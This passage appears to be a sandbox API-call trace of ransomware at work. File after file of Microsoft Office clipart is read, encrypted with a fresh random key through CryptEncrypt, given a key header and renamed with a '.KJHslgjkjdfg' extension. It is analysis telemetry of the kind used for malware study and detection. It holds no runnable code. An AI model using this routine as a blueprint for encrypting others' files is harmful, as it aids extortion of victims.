CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.733] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3210, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3210, lpOverlapped=0x0) returned 1 [0215.734] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3210, dwBufLen=0x3210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3210) returned 1 [0215.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.735] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3210, lpOverlapped=0x0) returned 1 [0215.735] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.735] SetEndOfFile (hFile=0x130) returned 1 [0215.737] GetProcessHeap () returned 0x2ef0000 [0215.737] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.737] GetProcessHeap () returned 0x2ef0000 [0215.737] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.kjhslgjkjdfg")) returned 1 [0215.739] CloseHandle (hObject=0x130) returned 1 [0215.739] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0215.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.740] GetProcessHeap () returned 0x2ef0000 [0215.740] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.740] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.740] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0215.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.751] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.751] GetProcessHeap () returned 0x2ef0000 [0215.751] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.751] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.751] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.751] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.752] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.752] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.752] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.752] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.752] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.752] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c46, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c46, lpOverlapped=0x0) returned 1 [0215.753] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50) returned 1 [0215.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.754] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c50, lpOverlapped=0x0) returned 1 [0215.754] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.754] SetEndOfFile (hFile=0x130) returned 1 [0215.757] GetProcessHeap () returned 0x2ef0000 [0215.757] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.757] GetProcessHeap () returned 0x2ef0000 [0215.757] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.kjhslgjkjdfg")) returned 1 [0215.759] CloseHandle (hObject=0x130) returned 1 [0215.759] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0215.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.761] GetProcessHeap () returned 0x2ef0000 [0215.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.762] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.762] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.764] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.764] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.764] GetProcessHeap () returned 0x2ef0000 [0215.764] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.764] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.764] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.764] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.764] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.765] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.765] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.765] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.765] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x54a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x54a8, lpOverlapped=0x0) returned 1 [0215.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x54b0) returned 1 [0215.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x54b0, lpOverlapped=0x0) returned 1 [0215.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.770] SetEndOfFile (hFile=0x130) returned 1 [0215.774] GetProcessHeap () returned 0x2ef0000 [0215.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.774] GetProcessHeap () returned 0x2ef0000 [0215.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.kjhslgjkjdfg")) returned 1 [0215.776] CloseHandle (hObject=0x130) returned 1 [0215.776] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0215.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.777] GetProcessHeap () returned 0x2ef0000 [0215.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.777] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.777] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0215.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.779] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.779] GetProcessHeap () returned 0x2ef0000 [0215.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.779] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.779] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.779] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.779] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.780] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a7e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a7e, lpOverlapped=0x0) returned 1 [0215.781] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a80) returned 1 [0215.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.781] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a80, lpOverlapped=0x0) returned 1 [0215.781] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.782] SetEndOfFile (hFile=0x130) returned 1 [0215.783] GetProcessHeap () returned 0x2ef0000 [0215.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.784] GetProcessHeap () returned 0x2ef0000 [0215.784] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.kjhslgjkjdfg")) returned 1 [0215.785] CloseHandle (hObject=0x130) returned 1 [0215.785] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0215.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.787] GetProcessHeap () returned 0x2ef0000 [0215.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.787] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.787] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.787] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.787] GetProcessHeap () returned 0x2ef0000 [0215.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.787] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.787] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.787] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.790] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.790] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.790] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.790] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.790] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e00, lpOverlapped=0x0) returned 1 [0215.793] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e00) returned 1 [0215.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.793] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e00, lpOverlapped=0x0) returned 1 [0215.793] CryptDestroyKey 